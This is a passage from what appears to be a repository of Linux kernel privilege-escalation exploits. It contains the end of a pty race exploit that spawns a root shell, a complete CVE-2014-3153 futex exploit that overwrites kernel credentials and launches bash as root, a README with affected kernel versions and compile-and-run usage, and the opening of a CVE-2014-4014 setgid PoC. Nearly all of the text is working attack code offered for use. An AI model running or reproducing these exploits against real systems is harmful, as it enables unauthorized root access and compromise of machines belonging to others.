if (!(i & 0xfff)) {
|
||||
putchar('.');
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
|
||||
puts("\n[-] pty creation failed");
|
||||
return 1;
|
||||
}
|
||||
|
||||
for (j = 0; j < RUN_ALLOCS; ++j)
|
||||
if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
|
||||
puts("\n[-] pty creation failed");
|
||||
return 1;
|
||||
}
|
||||
|
||||
close(fds[RUN_ALLOCS / 2]);
|
||||
close(fds2[RUN_ALLOCS / 2]);
|
||||
|
||||
write(slave_fd, buf, 1);
|
||||
|
||||
tcgetattr(master_fd, &t);
|
||||
t.c_oflag &= ~OPOST;
|
||||
t.c_lflag |= ECHO;
|
||||
tcsetattr(master_fd, TCSANOW, &t);
|
||||
|
||||
if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
|
||||
puts("\n[-] Overwrite thread creation failed");
|
||||
return 1;
|
||||
}
|
||||
write(master_fd, "A", 1);
|
||||
pthread_join(overwrite_thread, NULL);
|
||||
|
||||
for (j = 0; j < RUN_ALLOCS; ++j) {
|
||||
if (j == RUN_ALLOCS / 2)
|
||||
continue;
|
||||
|
||||
ioctl(fds[j], 0xdeadbeef);
|
||||
ioctl(fds2[j], 0xdeadbeef);
|
||||
|
||||
close(fds[j]);
|
||||
close(fds2[j]);
|
||||
}
|
||||
|
||||
ioctl(master_fd, 0xdeadbeef);
|
||||
ioctl(slave_fd, 0xdeadbeef);
|
||||
|
||||
close(master_fd);
|
||||
close(slave_fd);
|
||||
|
||||
if (!setresuid(0, 0, 0)) {
|
||||
setresgid(0, 0, 0);
|
||||
|
||||
puts("\n[+] Got it :)");
|
||||
execl("/bin/bash", "/bin/bash", NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,701 @@
|
|||
/*
|
||||
* CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
|
||||
* By Kaiqu Chen ( kaiquchen@163.com )
|
||||
* Based on libfutex and the expoilt for Android by GeoHot.
|
||||
*
|
||||
* Usage:
|
||||
* $gcc exploit.c -o exploit -lpthread
|
||||
* $./exploit
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdbool.h>
|
||||
#include <pthread.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <linux/futex.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/resource.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/tcp.h>
|
||||
|
||||
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
|
||||
|
||||
#define FUTEX_WAIT_REQUEUE_PI 11
|
||||
#define FUTEX_CMP_REQUEUE_PI 12
|
||||
#define USER_PRIO_BASE 120
|
||||
#define LOCAL_PORT 5551
|
||||
|
||||
#define SIGNAL_HACK_KERNEL 12
|
||||
#define SIGNAL_THREAD_EXIT 10
|
||||
|
||||
#define OFFSET_PID 0x4A4
|
||||
#define OFFSET_REAL_PARENT 0x4B8
|
||||
#define OFFSET_CRED 0x668
|
||||
|
||||
#define SIZEOF_CRED 160
|
||||
#define SIZEOF_TASK_STRUCT 2912
|
||||
#define OFFSET_ADDR_LIMIT 0x20
|
||||
|
||||
#define PRIO_LIST_OFFSET 8
|
||||
#define NODE_LIST_OFFSET (PRIO_LIST_OFFSET + sizeof(struct list_head))
|
||||
#define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
|
||||
#define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
|
||||
#define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
|
||||
#define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
|
||||
#define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
|
||||
#define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))
|
||||
|
||||
////////////////////////////////////////////////////////////////////
|
||||
struct task_struct;
|
||||
|
||||
struct thread_info {
|
||||
struct task_struct *task;
|
||||
void *exec_domain;
|
||||
int flags;
|
||||
int status;
|
||||
int cpu;
|
||||
int preempt_count;
|
||||
void *addr_limit;
|
||||
};
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next;
|
||||
struct list_head *prev;
|
||||
};
|
||||
|
||||
struct plist_head {
|
||||
struct list_head node_list;
|
||||
};
|
||||
|
||||
struct plist_node {
|
||||
int prio;
|
||||
struct list_head prio_list;
|
||||
struct list_head node_list;
|
||||
};
|
||||
|
||||
struct rt_mutex {
|
||||
unsigned long wait_lock;
|
||||
struct plist_head wait_list;
|
||||
struct task_struct *owner;
|
||||
};
|
||||
|
||||
struct rt_mutex_waiter {
|
||||
struct plist_node list_entry;
|
||||
struct plist_node pi_list_entry;
|
||||
struct task_struct *task;
|
||||
struct rt_mutex *lock;
|
||||
};
|
||||
|
||||
struct mmsghdr {
|
||||
struct msghdr msg_hdr;
|
||||
unsigned int msg_len;
|
||||
};
|
||||
|
||||
struct cred {
|
||||
int usage;
|
||||
int uid; /* real UID of the task */
|
||||
int gid; /* real GID of the task */
|
||||
int suid; /* saved UID of the task */
|
||||
int sgid; /* saved GID of the task */
|
||||
int euid; /* effective UID of the task */
|
||||
int egid; /* effective GID of the task */
|
||||
int fsuid; /* UID for VFS ops */
|
||||
int fsgid; /* GID for VFS ops */
|
||||
};
|
||||
|
||||
////////////////////////////////////////////////////////////////////
|
||||
|
||||
static int swag = 0;
|
||||
static int swag2 = 0;
|
||||
static int main_pid;
|
||||
|
||||
static pid_t waiter_thread_tid;
|
||||
|
||||
static pthread_mutex_t hacked_lock;
|
||||
static pthread_cond_t hacked;
|
||||
|
||||
static pthread_mutex_t done_lock;
|
||||
static pthread_cond_t done;
|
||||
|
||||
static pthread_mutex_t is_thread_desched_lock;
|
||||
static pthread_cond_t is_thread_desched;
|
||||
|
||||
static volatile int do_socket_tid_read = 0;
|
||||
static volatile int did_socket_tid_read = 0;
|
||||
|
||||
static volatile int do_dm_tid_read = 0;
|
||||
static volatile int did_dm_tid_read = 0;
|
||||
|
||||
static pid_t last_tid = 0;
|
||||
|
||||
static volatile int_sync_time_out = 0;
|
||||
|
||||
struct thread_info thinfo;
|
||||
char task_struct_buf[SIZEOF_TASK_STRUCT];
|
||||
struct cred cred_buf;
|
||||
|
||||
struct thread_info *hack_thread_stack = NULL;
|
||||
|
||||
pthread_t thread_client_to_setup_rt_waiter;
|
||||
|
||||
int listenfd;
|
||||
int sockfd;
|
||||
int clientfd;
|
||||
|
||||
////////////////////////////////////////////////////////////////
|
||||
int gettid()
|
||||
{
|
||||
return syscall(__NR_gettid);
|
||||
}
|
||||
|
||||
ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
len = write(pipefd[1], kbuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
|
||||
while(1) { sleep(10); }
|
||||
}
|
||||
|
||||
read(pipefd[0], ubuf, count);
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
write(pipefd[1], ubuf, count);
|
||||
len = read(pipefd[0], kbuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
|
||||
while(1) { sleep(10); }
|
||||
}
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
int pthread_cancel_immediately(pthread_t thid)
|
||||
{
|
||||
pthread_kill(thid, SIGNAL_THREAD_EXIT);
|
||||
pthread_join(thid, NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void set_addr_limit(void *sp)
|
||||
{
|
||||
long newlimit = -1;
|
||||
write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
|
||||
}
|
||||
|
||||
void set_cred(struct cred *kcred)
|
||||
{
|
||||
struct cred cred_buf;
|
||||
int len;
|
||||
|
||||
len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
|
||||
cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
|
||||
cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
|
||||
len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
|
||||
}
|
||||
|
||||
struct rt_mutex_waiter *pwaiter11;
|
||||
|
||||
void set_parent_cred(void *sp, int parent_tid)
|
||||
{
|
||||
int len;
|
||||
int tid;
|
||||
struct task_struct *pparent;
|
||||
struct cred *pcred;
|
||||
|
||||
set_addr_limit(sp);
|
||||
|
||||
len = read_pipe(sp, &thinfo, sizeof(thinfo));
|
||||
if(len != sizeof(thinfo)) {
|
||||
printf("Read %p error %d\n", sp, len);
|
||||
}
|
||||
|
||||
void *ptask = thinfo.task;
|
||||
len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
|
||||
tid = *(int *)(task_struct_buf + OFFSET_PID);
|
||||
|
||||
while(tid != 0 && tid != parent_tid) {
|
||||
pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
|
||||
len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
|
||||
tid = *(int *)(task_struct_buf + OFFSET_PID);
|
||||
}
|
||||
|
||||
if(tid == parent_tid) {
|
||||
pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
|
||||
set_cred(pcred);
|
||||
} else
|
||||
printf("Pid %d not found\n", parent_tid);
|
||||
return;
|
||||
}
|
||||
|
||||
static int read_voluntary_ctxt_switches(pid_t pid)
|
||||
{
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
int vcscnt = -1;
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp) {
|
||||
char filebuf[4096];
|
||||
char *pdest;
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
vcscnt = atoi(pdest + 0x19);
|
||||
fclose(fp);
|
||||
}
|
||||
return vcscnt;
|
||||
}
|
||||
|
||||
static void sync_timeout_task(int sig)
|
||||
{
|
||||
int_sync_time_out = 1;
|
||||
}
|
||||
|
||||
static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
|
||||
{
|
||||
while (*do_request == 0) { }
|
||||
printf("Press RETURN after one second...");
|
||||
*did_request = 1;
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
|
||||
{
|
||||
struct sigaction act;
|
||||
int vcscnt;
|
||||
int_sync_time_out = 0;
|
||||
|
||||
act.sa_handler = sync_timeout_task;
|
||||
sigemptyset(&act.sa_mask);
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(SIGALRM, &act, NULL);
|
||||
|
||||
alarm(3);
|
||||
while (*do_request == 0) {
|
||||
if (int_sync_time_out)
|
||||
return -1;
|
||||
}
|
||||
|
||||
alarm(0);
|
||||
vcscnt = read_voluntary_ctxt_switches(pid);
|
||||
*did_request = 1;
|
||||
while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void sync_with_parent(int volatile *do_request, int volatile *did_request)
|
||||
{
|
||||
*do_request = 1;
|
||||
while (*did_request == 0) { }
|
||||
}
|
||||
|
||||
void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
|
||||
{
|
||||
struct rt_mutex_waiter *pwaiter6, *pwaiter7;
|
||||
struct rt_mutex_waiter waiter6, waiter7;
|
||||
struct rt_mutex mutex;
|
||||
if(!pmutex)
|
||||
return;
|
||||
read_pipe(pmutex, &mutex, sizeof(mutex));
|
||||
pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
|
||||
if(!pwaiter6)
|
||||
return;
|
||||
read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
|
||||
pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
|
||||
if(!pwaiter7)
|
||||
return;
|
||||
read_pipe(pwaiter7, &waiter7, sizeof(waiter7));
|
||||
|
||||
waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
|
||||
waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
|
||||
mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
|
||||
waiter7.list_entry.node_list.next = waiter6.list_entry.node_list.prev;
|
||||
|
||||
write_pipe(pmutex, &mutex, sizeof(mutex));
|
||||
write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
|
||||
write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
|
||||
}
|
||||
|
||||
static void void_handler(int signum)
|
||||
{
|
||||
pthread_exit(0);
|
||||
}
|
||||
|
||||
static void kernel_hack_task(int signum)
|
||||
{
|
||||
struct rt_mutex *prt_mutex, rt_mutex;
|
||||
struct rt_mutex_waiter rt_waiter11;
|
||||
int tid = syscall(__NR_gettid);
|
||||
int pid = getpid();
|
||||
|
||||
set_parent_cred(hack_thread_stack, main_pid);
|
||||
|
||||
read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));
|
||||
|
||||
prt_mutex = rt_waiter11.lock;
|
||||
read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));
|
||||
|
||||
void *ptask_struct = rt_mutex.owner;
|
||||
ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
|
||||
int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
|
||||
int *ppid = (int *)(task_struct_buf + OFFSET_PID);
|
||||
void **pstack = (void **)&task_struct_buf[8];
|
||||
void *owner_sp = *pstack;
|
||||
set_addr_limit(owner_sp);
|
||||
|
||||
pthread_mutex_lock(&hacked_lock);
|
||||
pthread_cond_signal(&hacked);
|
||||
pthread_mutex_unlock(&hacked_lock);
|
||||
}
|
||||
|
||||
static void *call_futex_lock_pi_with_priority(void *arg)
|
||||
{
|
||||
int prio;
|
||||
struct sigaction act;
|
||||
int ret;
|
||||
|
||||
prio = (long)arg;
|
||||
last_tid = syscall(__NR_gettid);
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_cond_signal(&is_thread_desched);
|
||||
|
||||
act.sa_handler = void_handler;
|
||||
sigemptyset(&act.sa_mask);
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
|
||||
|
||||
act.sa_handler = kernel_hack_task;
|
||||
sigemptyset(&act.sa_mask);
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
|
||||
|
||||
setpriority(PRIO_PROCESS, 0, prio);
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
|
||||
|
||||
ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
|
||||
{
|
||||
pthread_t th4;
|
||||
pid_t pid;
|
||||
|
||||
do_dm_tid_read = 0;
|
||||
did_dm_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
|
||||
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
|
||||
|
||||
pid = last_tid;
|
||||
|
||||
sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
return th4;
|
||||
}
|
||||
|
||||
static int server_for_setup_rt_waiter(void)
|
||||
{
|
||||
int sockfd;
|
||||
int yes = 1;
|
||||
struct sockaddr_in addr = {0};
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
listen(sockfd, 1);
|
||||
listenfd = sockfd;
|
||||
|
||||
return accept(sockfd, NULL, NULL);
|
||||
}
|
||||
|
||||
static int connect_server_socket(void)
|
||||
{
|
||||
int sockfd;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
int sock_buf_size;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (sockfd < 0) {
|
||||
printf("socket failed\n");
|
||||
usleep(10);
|
||||
} else {
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
}
|
||||
|
||||
while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sock_buf_size = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
|
||||
|
||||
return sockfd;
|
||||
}
|
||||
|
||||
unsigned long iov_base0, iov_basex;
|
||||
size_t iov_len0, iov_lenx;
|
||||
|
||||
static void *client_to_setup_rt_waiter(void *waiter_plist)
|
||||
{
|
||||
int sockfd;
|
||||
struct mmsghdr msgvec[1];
|
||||
struct iovec msg_iov[8];
|
||||
unsigned long databuf[0x20];
|
||||
int i;
|
||||
int ret;
|
||||
struct sigaction act;
|
||||
|
||||
act.sa_handler = void_handler;
|
||||
sigemptyset(&act.sa_mask);
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
|
||||
|
||||
waiter_thread_tid = syscall(__NR_gettid);
|
||||
setpriority(PRIO_PROCESS, 0, 12);
|
||||
|
||||
sockfd = connect_server_socket();
|
||||
clientfd = sockfd;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
|
||||
databuf[i] = (unsigned long)waiter_plist;
|
||||
}
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
|
||||
msg_iov[i].iov_base = waiter_plist;
|
||||
msg_iov[i].iov_len = (long)waiter_plist;
|
||||
}
|
||||
msg_iov[1].iov_base = (void *)iov_base0;
|
||||
|
||||
msgvec[0].msg_hdr.msg_name = databuf;
|
||||
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
|
||||
msgvec[0].msg_hdr.msg_iov = msg_iov;
|
||||
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
|
||||
msgvec[0].msg_hdr.msg_control = databuf;
|
||||
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
|
||||
msgvec[0].msg_hdr.msg_flags = 0;
|
||||
msgvec[0].msg_len = 0;
|
||||
|
||||
syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
|
||||
|
||||
sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
|
||||
|
||||
ret = 0;
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
|
||||
if (ret <= 0) {
|
||||
break;
|
||||
} else
|
||||
printf("sendmmsg ret %d\n", ret);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void plist_set_next(struct list_head *node, struct list_head *head)
|
||||
{
|
||||
node->next = head;
|
||||
head->prev = node;
|
||||
node->prev = head;
|
||||
head->next = node;
|
||||
}
|
||||
|
||||
static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
|
||||
{
|
||||
rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
|
||||
rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
|
||||
plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
|
||||
plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
|
||||
}
|
||||
|
||||
static bool do_exploit(void *waiter_plist)
|
||||
{
|
||||
void *magicval, *magicval2;
|
||||
struct rt_mutex_waiter *rt_waiters;
|
||||
pid_t pid;
|
||||
pid_t pid6, pid7, pid12, pid11;
|
||||
|
||||
rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);
|
||||
|
||||
syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
|
||||
while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
pthread_t th6 = create_thread_do_futex_lock_pi_with_priority(6);
|
||||
pthread_t th7 = create_thread_do_futex_lock_pi_with_priority(7);
|
||||
|
||||
swag2 = 0;
|
||||
do_socket_tid_read = 0;
|
||||
did_socket_tid_read = 0;
|
||||
|
||||
syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
|
||||
|
||||
if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
setup_waiter_params(rt_waiters);
|
||||
magicval = rt_waiters[0].list_entry.prio_list.next;
|
||||
printf("Checking whether exploitable..");
|
||||
pthread_t th11 = create_thread_do_futex_lock_pi_with_priority(11);
|
||||
|
||||
if (rt_waiters[0].list_entry.prio_list.next == magicval) {
|
||||
printf("failed\n");
|
||||
return false;
|
||||
}
|
||||
printf("OK\nSeaching good magic...\n");
|
||||
magicval = rt_waiters[0].list_entry.prio_list.next;
|
||||
|
||||
pthread_cancel_immediately(th11);
|
||||
|
||||
pthread_t th11_1, th11_2;
|
||||
while(1) {
|
||||
setup_waiter_params(rt_waiters);
|
||||
th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
|
||||
magicval = rt_waiters[0].list_entry.prio_list.next;
|
||||
hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
|
||||
rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;
|
||||
|
||||
th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
|
||||
magicval2 = rt_waiters[1].list_entry.node_list.prev;
|
||||
|
||||
printf("magic1=%p magic2=%p\n", magicval, magicval2);
|
||||
if(magicval < magicval2) {
|
||||
printf("Good magic found\nHacking...\n");
|
||||
break;
|
||||
} else {
|
||||
pthread_cancel_immediately(th11_1);
|
||||
pthread_cancel_immediately(th11_2);
|
||||
}
|
||||
}
|
||||
pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
|
||||
pthread_mutex_lock(&hacked_lock);
|
||||
pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
|
||||
pthread_cond_wait(&hacked, &hacked_lock);
|
||||
pthread_mutex_unlock(&hacked_lock);
|
||||
close(listenfd);
|
||||
|
||||
struct rt_mutex_waiter waiter11;
|
||||
struct rt_mutex *pmutex;
|
||||
int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
|
||||
if(len != sizeof(waiter11)) {
|
||||
pmutex = NULL;
|
||||
} else {
|
||||
pmutex = waiter11.lock;
|
||||
}
|
||||
fix_rt_mutex_waiter_list(pmutex);
|
||||
|
||||
pthread_cancel_immediately(th11_1);
|
||||
pthread_cancel_immediately(th11_2);
|
||||
|
||||
pthread_cancel_immediately(th7);
|
||||
pthread_cancel_immediately(th6);
|
||||
close(clientfd);
|
||||
pthread_cancel_immediately(thread_client_to_setup_rt_waiter);
|
||||
|
||||
exit(0);
|
||||
}
|
||||
|
||||
#define MMAP_ADDR_BASE 0x0c000000
|
||||
#define MMAP_LEN 0x0c001000
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
unsigned long mapped_address;
|
||||
void *waiter_plist;
|
||||
|
||||
printf("CVE-2014-3153 exploit by Chen Kaiqu(kaiquchen@163.com)\n");
|
||||
|
||||
main_pid = gettid();
|
||||
if(fork() == 0) {
|
||||
iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
if (iov_base0 < 0xb0000000) {
|
||||
printf("mmap failed?\n");
|
||||
return 1;
|
||||
}
|
||||
iov_len0 = 0x10000;
|
||||
|
||||
iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
if (iov_basex < MMAP_ADDR_BASE) {
|
||||
printf("mmap failed?\n");
|
||||
return 1;
|
||||
}
|
||||
iov_lenx = MMAP_LEN;
|
||||
|
||||
waiter_plist = (void *)iov_basex + 0x400;
|
||||
pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
|
||||
|
||||
sockfd = server_for_setup_rt_waiter();
|
||||
if (sockfd < 0) {
|
||||
printf("Server failed\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (!do_exploit(waiter_plist)) {
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
while(getuid())
|
||||
usleep(100);
|
||||
execl("/bin/bash", "bin/bash", NULL);
|
||||
return 0;
|
||||
}
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,30 @@
|
|||
# CVE-2014-3153
|
||||
|
||||
CVE-2014-3153
|
||||
|
||||
The exp is from [@timwr](https://github.com/timwr/CVE-2014-3153)
|
||||
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-3153](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3153)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/35370/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8 ,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc exploit.c -o exploit -lpthread
|
||||
$ ./exploit
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [Exploiting the Futex Bug and uncovering Towelroot](http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/)
|
||||
* [CVE-2014-3153内核漏洞分析](http://www.tuicool.com/articles/nm2AZvB)
|
||||
* [cve2014-3153 漏洞之详细分析与利用](http://blog.topsec.com.cn/ad_lab/cve2014-3153/)
|
||||
* [Research of CVE-2014-3153 and its famous exploit towelroot on x86](https://github.com/geekben/towelroot)
|
||||
|
||||
|
Binary file not shown.
|
@ -0,0 +1,72 @@
|
|||
/**
|
||||
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
|
||||
*
|
||||
* Vitaly Nikolenko
|
||||
* http://hashcrack.org
|
||||
*
|
||||
* Usage: ./poc [file_path]
|
||||
*
|
||||
* where file_path is the file on which you want to set the sgid bit
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <sys/wait.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <string.h>
|
||||
#include <assert.h>
|
||||
|
||||
#define STACK_SIZE (1024 * 1024)
|
||||
static char child_stack[STACK_SIZE];
|
||||
|
||||
struct args {
|
||||
int pipe_fd[2];
|
||||
char *file_path;
|
||||
};
|
||||
|
||||
static int child(void *arg) {
|
||||
struct args *f_args = (struct args *)arg;
|
||||
char c;
|
||||
|
||||
// close stdout
|
||||
close(f_args->pipe_fd[1]);
|
||||
|
||||
assert(read(f_args->pipe_fd[0], &c, 1) == 0);
|
||||
|
||||
// set the setgid bit
|
||||
chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
|
||||
|
||||
return 0;
|
||||
}
